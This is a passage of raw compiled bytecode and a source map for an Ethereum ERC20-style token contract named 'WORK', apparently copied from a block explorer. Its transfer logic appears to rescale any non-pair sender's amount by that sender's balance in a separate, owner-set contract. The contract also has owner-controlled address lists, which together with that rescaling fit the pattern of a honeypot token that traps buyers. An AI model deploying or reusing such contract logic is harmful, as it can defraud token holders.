3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c69190611a0d565b6040518363ffffffff1660e01b81526004016106e3929190611a38565b6020604051808303815f875af11580156106ff573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107239190611a0d565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306107aa30610aa0565b5f806107b4610c15565b426040518863ffffffff1660e01b81526004016107d696959493929190611aa1565b60606040518083038185885af11580156107f2573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108179190611b14565b50505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016108b7929190611b64565b6020604051808303815f875af11580156108d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f79190611bb5565b506001600760146101000a81548160ff021916908315150217905550565b5f8060149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610949610c15565b73ffffffffffffffffffffffffffffffffffffffff161461099f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610996906119db565b60405180910390fd5b5f5b8151811015610a25575f60055f8484815181106109c1576109c0611be0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506109a1565b5050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610b05610c15565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b52906119db565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f574f524b00000000000000000000000000000000000000000000000000000000815250905090565b5f610c85338484610fd4565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610cae610c15565b73ffffffffffffffffffffffffffffffffffffffff1614610d04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfb906119db565b60405180910390fd5b5f5b8151811015610d8b57600160055f848481518110610d2757610d26611be0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610d06565b5050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7690611c7d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee490611d0b565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fc791906116dc565b60405180910390a3505050565b5f808211610fe0575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611017575f80fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110a057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561116657611163606461115560065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231886040518263ffffffff1660e01b8152600401611107919061193a565b602060405180830381865afa158015611122573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111469190611d29565b8561134e90919063ffffffff16565b6113c590919063ffffffff16565b90505b6111b68260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461130590919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112598161124b8460025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461140e90919063ffffffff16565b61130590919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112f791906116dc565b60405180910390a350505050565b5f61134683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061146b565b905092915050565b5f80830361135e575f90506113bf565b5f828461136b9190611d81565b905082848261137a9190611def565b146113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b190611e8f565b60405180910390fd5b809150505b92915050565b5f61140683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114cd565b905092915050565b5f80828461141c9190611ead565b905083811015611461576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145890611f2a565b60405180910390fd5b8091505092915050565b5f8383111582906114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a9919061159e565b60405180910390fd5b505f83856114c09190611f48565b9050809150509392505050565b5f8083118290611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a919061159e565b60405180910390fd5b505f83856115219190611def565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6115708261152e565b61157a8185611538565b935061158a818560208601611548565b61159381611556565b840191505092915050565b5f6020820190508181035f8301526115b68184611566565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115f8826115cf565b9050919050565b611608816115ee565b8114611612575f80fd5b50565b5f81359050611623816115ff565b92915050565b5f819050919050565b61163b81611629565b8114611645575f80fd5b50565b5f8135905061165681611632565b92915050565b5f8060408385031215611672576116716115c7565b5b5f61167f85828601611615565b925050602061169085828601611648565b9150509250929050565b5f8115159050919050565b6116ae8161169a565b82525050565b5f6020820190506116c75f8301846116a5565b92915050565b6116d681611629565b82525050565b5f6020820190506116ef5f8301846116cd565b92915050565b5f805f6060848603121561170c5761170b6115c7565b5b5f61171986828701611615565b935050602061172a86828701611615565b925050604061173b86828701611648565b9150509250925092565b5f60ff82169050919050565b61175a81611745565b82525050565b5f6020820190506117735f830184611751565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6117b382611556565b810181811067ffffffffffffffff821117156117d2576117d161177d565b5b80604052505050565b5f6117e46115be565b90506117f082826117aa565b919050565b5f67ffffffffffffffff82111561180f5761180e61177d565b5b602082029050602081019050919050565b5f80fd5b5f611836611831846117f5565b6117db565b9050808382526020820190506020840283018581111561185957611858611820565b5b835b81811015611882578061186e8882611615565b84526020840193505060208101905061185b565b5050509392505050565b5f82601f8301126118a05761189f611779565b5b81356118b0848260208601611824565b91505092915050565b5f602082840312156118ce576118cd6115c7565b5b5f82013567ffffffffffffffff8111156118eb576118ea6115cb565b5b6118f78482850161188c565b91505092915050565b5f60208284031215611915576119146115c7565b5b5f61192284828501611615565b91505092915050565b611934816115ee565b82525050565b5f60208201905061194d5f83018461192b565b92915050565b5f8060408385031215611969576119686115c7565b5b5f61197685828601611615565b925050602061198785828601611615565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119c5602083611538565b91506119d082611991565b602082019050919050565b5f6020820190508181035f8301526119f2816119b9565b9050919050565b5f81519050611a07816115ff565b92915050565b5f60208284031215611a2257611a216115c7565b5b5f611a2f848285016119f9565b91505092915050565b5f604082019050611a4b5f83018561192b565b611a58602083018461192b565b9392505050565b5f819050919050565b5f819050919050565b5f611a8b611a86611a8184611a5f565b611a68565b611629565b9050919050565b611a9b81611a71565b82525050565b5f60c082019050611ab45f83018961192b565b611ac160208301886116cd565b611ace6040830187611a92565b611adb6060830186611a92565b611ae8608083018561192b565b611af560a08301846116cd565b979650505050505050565b5f81519050611b0e81611632565b92915050565b5f805f60608486031215611b2b57611b2a6115c7565b5b5f611b3886828701611b00565b9350506020611b4986828701611b00565b9250506040611b5a86828701611b00565b9150509250925092565b5f604082019050611b775f83018561192b565b611b8460208301846116cd565b9392505050565b611b948161169a565b8114611b9e575f80fd5b50565b5f81519050611baf81611b8b565b92915050565b5f60208284031215611bca57611bc96115c7565b5b5f611bd784828501611ba1565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611c67602483611538565b9150611c7282611c0d565b604082019050919050565b5f6020820190508181035f830152611c9481611c5b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611cf5602283611538565b9150611d0082611c9b565b604082019050919050565b5f6020820190508181035f830152611d2281611ce9565b9050919050565b5f60208284031215611d3e57611d3d6115c7565b5b5f611d4b84828501611b00565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611d8b82611629565b9150611d9683611629565b9250828202611da481611629565b91508282048414831517611dbb57611dba611d54565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611df982611629565b9150611e0483611629565b925082611e1457611e13611dc2565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e79602183611538565b9150611e8482611e1f565b604082019050919050565b5f6020820190508181035f830152611ea681611e6d565b9050919050565b5f611eb782611629565b9150611ec283611629565b9250828201905080821115611eda57611ed9611d54565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611f14601b83611538565b9150611f1f82611ee0565b602082019050919050565b5f6020820190508181035f830152611f4181611f08565b9050919050565b5f611f5282611629565b9150611f5d83611629565b9250828203905081811115611f7557611f74611d54565b5b9291505056fea264697066735822122044b956b141811f9a9cccc01b9f1754d0e7914a4615ae108bf61b8111d290a47464736f6c63430008190033

Deployed Bytecode Sourcemap

2816:4477:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3761:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5629:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6311:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5365:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4818:539;;;:::i;:::-;;6220:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5959:162;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6129:83;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3557:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4193:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2300:140;;;;;;;;;;;;;:::i;:::-;;2632:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3852;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4654:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5787:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6410:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3761:83;3798:13;3831:5;;;;;;;;;;;;;;;;;3824:12;;3761:83;:::o;5629:150::-;5695:4;5712:37;5721:10;5733:7;5742:6;5712:8;:37::i;:::-;5767:4;5760:11;;5629:150;;;;:::o;6311:91::-;6355:7;6382:12;;6375:19;;6311:91;:::o;5365:256::-;5454:4;5471:36;5481:6;5489:9;5500:6;5471:9;:36::i;:::-;5518:73;5527:6;5535:10;5547:43;5583:6;5547:11;:19;5559:6;5547:19;;;;;;;;;;;;;;;:31;5567:10;5547:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5518:8;:73::i;:::-;5609:4;5602:11;;5365:256;;;;;:::o;4818:539::-;2499:10;2488:21;;:7;:5;:7::i;:::-;:21;;;2480:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4891:14:::1;;;;;;;;;;;4890:15;4882:24;;;::::0;::::1;;4918:63;4935:4;4950:15;;;;;;;;;;;4968:12;;4918:8;:63::i;:::-;5026:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5008:55;;;5072:4;5079:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5008:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4992:13;;:110;;;;;;;;;;;;;;;;;;5113:15;;;;;;;;;;;:31;;;5152:9;5171:4;5177:24;5195:4;5177:9;:24::i;:::-;5203:1;5206::::0;5209:7:::1;:5;:7::i;:::-;5218:15;5113:121;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5252:13;;;;;;;;;;;5245:29;;;5283:15;;;;;;;;;;;5301:14;5245:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5345:4;5328:14;;:21;;;;;;;;;;;;;;;;;;4818:539::o:0;6220:83::-;6261:5;6286:9;;;;;;;;;;;6279:16;;6220:83;:::o;5959:162::-;2499:10;2488:21;;:7;:5;:7::i;:::-;:21;;;2480:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;6032:6:::1;6027:87;6048:6;:13;6044:1;:17;6027:87;;;6099:5;6081:4;:15;6086:6;6093:1;6086:9;;;;;;;;:::i;:::-;;;;;;;;6081:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;6063:3;;;;;;;6027:87;;;;5959:162:::0;:::o;6129:83::-;6176:4;6197;:7;6202:1;6197:7;;;;;;;;;;;;;;;;;;;;;;;;;6190:14;;6129:83;;;:::o;3557:28::-;;;;;;;;;;;;;:::o;4193:110::-;4250:7;4277:9;:18;4287:7;4277:18;;;;;;;;;;;;;;;;4270:25;;4193:110;;;:::o;2300:140::-;2499:10;2488:21;;:7;:5;:7::i;:::-;:21;;;2480:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2399:1:::1;2362:40;;2383:6;::::0;::::1;;;;;;;;2362:40;;;;;;;;;;;;2430:1;2413:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2300:140::o:0;2632:87::-;2678:7;2705:6;;;;;;;;;;;2698:13;;2632:87;:::o;3852:::-;3891:13;3924:7;;;;;;;;;;;;;;;;;3917:14;;3852:87;:::o;4654:156::-;4723:4;4740:40;4750:10;4762:9;4773:6;4740:9;:40::i;:::-;4798:4;4791:11;;4654:156;;;;:::o;5787:164::-;2499:10;2488:21;;:7;:5;:7::i;:::-;:21;;;2480:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;5861:6:::1;5856:88;5877:5;:12;5873:1;:16;5856:88;;;5928:4;5911;:14;5916:5;5922:1;5916:8;;;;;;;;:::i;:::-;;;;;;;;5911:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;5891:3;;;;;;;5856:88;;;;5787:164:::0;:::o;6410:134::-;6482:7;6509:11;:18;6521:5;6509:18;;;;;;;;;;;;;;;:27;6528:7;6509:27;;;;;;;;;;;;;;;;6502:34;;6410:134;;;;:::o;4311:335::-;4421:1;4404:19;;:5;:19;;;4396:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4502:1;4483:21;;:7;:21;;;4475:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4584:6;4554:11;:18;4566:5;4554:18;;;;;;;;;;;;;;;:27;4573:7;4554:27;;;;;;;;;;;;;;;:36;;;;4622:7;4606:32;;4615:5;4606:32;;;4631:6;4606:32;;;;;;:::i;:::-;;;;;;;;4311:335;;;:::o;6552:535::-;6639:18;6689:1;6680:6;:10;6672:19;;;;;;6726:1;6710:18;;:4;:18;;;6702:27;;;;;;6753:13;;;;;;;;;;;6745:21;;:4;:21;;;;:46;;;;;6786:4;6770:21;;:4;:21;;;;6745:46;6741:152;;;6822:59;6877:3;6822:50;6840:14;;;;;;;;;;;6833:32;;;6866:4;6833:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6822:6;:10;;:50;;;;:::i;:::-;:54;;:59;;;;:::i;:::-;6809:72;;6741:152;6921:27;6941:6;6921:9;:15;6931:4;6921:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6903:9;:15;6913:4;6903:15;;;;;;;;;;;;;;;:45;;;;6982:48;7019:10;6982:32;7007:6;6982:9;:20;6992:9;6982:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;:36;;:48;;;;:::i;:::-;6959:9;:20;6969:9;6959:20;;;;;;;;;;;;;;;:71;;;;7061:9;7046:33;;7055:4;7046:33;;;7072:6;7046:33;;;;;;:::i;:::-;;;;;;;;6628:459;6552:535;;;:::o;1651:136::-;1709:7;1736:43;1740:1;1743;1736:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1729:50;;1651:136;;;;:::o;1795:246::-;1853:7;1882:1;1877;:6;1873:47;;1907:1;1900:8;;;;1873:47;1930:9;1946:1;1942;:5;;;;:::i;:::-;1930:17;;1975:1;1970;1966;:5;;;;:::i;:::-;:10;1958:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2032:1;2025:8;;;1795:246;;;;;:::o;1128:132::-;1186:7;1213:39;1217:1;1220;1213:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1206:46;;1128:132;;;;:::o;1266:179::-;1324:7;1344:9;1360:1;1356;:5;;;;:::i;:::-;1344:17;;1385:1;1380;:6;;1372:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1436:1;1429:8;;;1266:179;;;;:::o;1453:190::-;1539:7;1572:1;1567;:6;;1575:12;1559:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1599:9;1615:1;1611;:5;;;;:::i;:::-;1599:17;;1634:1;1627:8;;;1453:190;;;;;:::o;2049:189::-;2135:7;2167:1;2163;:5;2170:12;2155:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2194:9;2210:1;2206;:5;;;;:::i;:::-;2194:17;;2229:1;2222:8;;;2049:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1242:75::-;1275:6;1308:2;1302:9;1292:19;;1242:75;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:117::-;4855:1;4852;4845:12;4869:180;4917:77;4914:1;4907:88;5014:4;5011:1;5004:15;5038:4;5035:1;5028:15;5055:281;5138:27;5160:4;5138:27;:::i;:::-;5130:6;5126:40;5268:6;5256:10;5253:22;5232:18;5220:10;5217:34;5214:62;5211:88;;;5279:18;;:::i;:::-;5211:88;5319:10;5315:2;5308:22;5098:238;5055:281;;:::o;5342:129::-;5376:6;5403:20;;:::i;:::-;5393:30;;5432:33;5460:4;5452:6;5432:33;:::i;:::-;5342:129;;;:::o;5477:311::-;5554:4;5644:18;5636:6;5633:30;5630:56;;;5666:18;;:::i;:::-;5630:56;5716:4;5708:6;5704:17;5696:25;;5776:4;5770;5766:15;5758:23;;5477:311;;;:::o;5794:117::-;5903:1;5900;5893:12;5934:710;6030:5;6055:81;6071:64;6128:6;6071:64;:::i;:::-;6055:81;:::i;:::-;6046:90;;6156:5;6185:6;6178:5;6171:21;6219:4;6212:5;6208:16;6201:23;;6272:4;6264:6;6260:17;6252:6;6248:30;6301:3;6293:6;6290:15;6287:122;;;6320:79;;:::i;:::-;6287:122;6435:6;6418:220;6452:6;6447:3;6444:15;6418:220;;;6527:3;6556:37;6589:3;6577:10;6556:37;:::i;:::-;6551:3;6544:50;6623:4;6618:3;6614:14;6607:21;;6494:144;6478:4;6473:3;6469:14;6462:21;;6418:220;;;6422:21;6036:608;;5934:710;;;;;:::o;6667:370::-;6738:5;6787:3;6780:4;6772:6;6768:17;6764:27;6754:122;;6795:79;;:::i;:::-;6754:122;6912:6;6899:20;6937:94;7027:3;7019:6;7012:4;7004:6;7000:17;6937:94;:::i;:::-;6928:103;;6744:293;6667:370;;;;:::o;7043:539::-;7127:6;7176:2;7164:9;7155:7;7151:23;7147:32;7144:119;;;7182:79;;:::i;:::-;7144:119;7330:1;7319:9;7315:17;7302:31;7360:18;7352:6;7349:30;7346:117;;;7382:79;;:::i;:::-;7346:117;7487:78;7557:7;7548:6;7537:9;7533:22;7487:78;:::i;:::-;7477:88;;7273:302;7043:539;;;;:::o;7588:329::-;7647:6;7696:2;7684:9;7675:7;7671:23;7667:32;7664:119;;;7702:79;;:::i;:::-;7664:119;7822:1;7847:53;7892:7;7883:6;7872:9;7868:22;7847:53;:::i;:::-;7837:63;;7793:117;7588:329;;;;:::o;7923:118::-;8010:24;8028:5;8010:24;:::i;:::-;8005:3;7998:37;7923:118;;:::o;8047:222::-;8140:4;8178:2;8167:9;8163:18;8155:26;;8191:71;8259:1;8248:9;8244:17;8235:6;8191:71;:::i;:::-;8047:222;;;;:::o;8275:474::-;8343:6;8351;8400:2;8388:9;8379:7;8375:23;8371:32;8368:119;;;8406:79;;:::i;:::-;8368:119;8526:1;8551:53;8596:7;8587:6;8576:9;8572:22;8551:53;:::i;:::-;8541:63;;8497:117;8653:2;8679:53;8724:7;8715:6;8704:9;8700:22;8679:53;:::i;:::-;8669:63;;8624:118;8275:474;;;;;:::o;8755:182::-;8895:34;8891:1;8883:6;8879:14;8872:58;8755:182;:::o;8943:366::-;9085:3;9106:67;9170:2;9165:3;9106:67;:::i;:::-;9099:74;;9182:93;9271:3;9182:93;:::i;:::-;9300:2;9295:3;9291:12;9284:19;;8943:366;;;:::o;9315:419::-;9481:4;9519:2;9508:9;9504:18;9496:26;;9568:9;9562:4;9558:20;9554:1;9543:9;9539:17;9532:47;9596:131;9722:4;9596:131;:::i;:::-;9588:139;;9315:419;;;:::o;9740:143::-;9797:5;9828:6;9822:13;9813:22;;9844:33;9871:5;9844:33;:::i;:::-;9740:143;;;;:::o;9889:351::-;9959:6;10008:2;9996:9;9987:7;9983:23;9979:32;9976:119;;;10014:79;;:::i;:::-;9976:119;10134:1;10159:64;10215:7;10206:6;10195:9;10191:22;10159:64;:::i;:::-;10149:74;;10105:128;9889:351;;;;:::o;10246:332::-;10367:4;10405:2;10394:9;10390:18;10382:26;;10418:71;10486:1;10475:9;10471:17;10462:6;10418:71;:::i;:::-;10499:72;10567:2;10556:9;10552:18;10543:6;10499:72;:::i;:::-;10246:332;;;;;:::o;10584:85::-;10629:7;10658:5;10647:16;;10584:85;;;:::o;10675:60::-;10703:3;10724:5;10717:12;;10675:60;;;:::o;10741:158::-;10799:9;10832:61;10850:42;10859:32;10885:5;10859:32;:::i;:::-;10850:42;:::i;:::-;10832:61;:::i;:::-;10819:74;;10741:158;;;:::o;10905:147::-;11000:45;11039:5;11000:45;:::i;:::-;10995:3;10988:58;10905:147;;:::o;11058:807::-;11307:4;11345:3;11334:9;11330:19;11322:27;;11359:71;11427:1;11416:9;11412:17;11403:6;11359:71;:::i;:::-;11440:72;11508:2;11497:9;11493:18;11484:6;11440:72;:::i;:::-;11522:80;11598:2;11587:9;11583:18;11574:6;11522:80;:::i;:::-;11612;11688:2;11677:9;11673:18;11664:6;11612:80;:::i;:::-;11702:73;11770:3;11759:9;11755:19;11746:6;11702:73;:::i;:::-;11785;11853:3;11842:9;11838:19;11829:6